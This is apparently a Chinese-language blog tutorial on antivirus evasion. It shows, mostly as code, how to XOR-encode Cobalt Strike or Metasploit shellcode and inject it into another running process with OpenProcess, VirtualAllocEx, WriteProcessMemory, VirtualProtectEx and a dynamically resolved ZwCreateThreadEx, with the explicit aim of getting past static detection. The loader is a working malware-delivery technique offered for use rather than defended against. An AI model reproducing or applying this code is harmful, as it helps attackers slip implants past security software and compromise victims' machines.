免杀初探

免杀大家应该都不陌生,今天初探一下

免杀思路

通过cs生成shellcode,不过现在各大厂商对于出名的shellcode:如cs,msf这些基本上达到了见光就死的程度,我这里简单的加密一下,然后通过API加载到一个进程中,并且执行,我首先希望的是有一个静态免杀效果。

环境准备

vs2019 win10 整个过程在无任何杀软环境中进行

加密函数

这里是我随便找了个数将shellcode进行异或

int main()
{
    /* length: 798 bytes */
    int dwSize = sizeof(buf);
    char* newBuf = (char*)malloc(dwSize);
    memset(newBuf, 0, dwSize);
    Sleep(10000);
    for (int i = 0; i < dwSize; i++)
    {
        newBuf[i] = buf[i] ^ 0x12;
        printf("\\x%1x", (unsigned char)newBuf[i]);
    }
    
}

加载器

加载前先解密

int shellcode_size = sizeof(buf);
for (int i = 0; i < shellcode_size; i++)
    {
        newBuf[i] = buf[i] ^ 0x12;
    }

获取进程句柄

HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 17864);

在目标进程空间申请空间

这里用的是VirtualAllocEx,因为这个API很敏感，我们先控制属性位可读可写,后面再更改属性位可执行

LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf)+1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

写入shellcode到进程空间

DWORD dwSize = 0;    
WriteProcessMemory(hHandle,Memory, newBuf, shellcode_size, &dwSize);

更改属性

使用VirtualProtectEx更改属性位可执行

VirtualProtectEx(hHandle,Memory, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

动态加载创建线程函数

ZwCreateThreadEx这个函数我已经在之前一篇博客介绍过https://www.cnblogs.com/punished/p/14668260.html,更换一些常见的API总是要好一下

 1 HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
 2     if (hNtdll == NULL)
 3     {
 4         printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
 5         return FALSE;
 6     }
 7     else
 8     {
 9         printf("[*] Load ntdll.dll Successfully!\n");
10     }
11 #ifdef _WIN64
12     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
13         PHANDLE ThreadHandle,
14         ACCESS_MASK DesiredAccess,
15         LPVOID ObjectAttributes,
16         HANDLE ProcessHandle,
17         LPTHREAD_START_ROUTINE lpStartAddress,
18         LPVOID lpParameter,
19         ULONG CreateThreadFlags,
20         SIZE_T ZeroBits,
21         SIZE_T StackSize,
22         SIZE_T MaximumStackSize,
23         LPVOID pUnkown
24         );
25 #else
26     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
27         PHANDLE ThreadHandle,
28         ACCESS_MASK DesiredAccess,
29         LPVOID ObjectAttributes,
30         HANDLE ProcessHandle,
31         LPTHREAD_START_ROUTINE lpStartAddress,
32         LPVOID lpParameter,
33         BOOL CreateSuspended,
34         DWORD dwStackSize,
35         DWORD dw1,
36         DWORD dw2,
37         LPVOID pUnkown
38         );
39 #endif 
40     typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
41     ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

创建线程

创建线程等待执行

HANDLE hRemoteThread;
DWORD ZwRet = 0;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
    (LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hRemoteThread, INFINITE);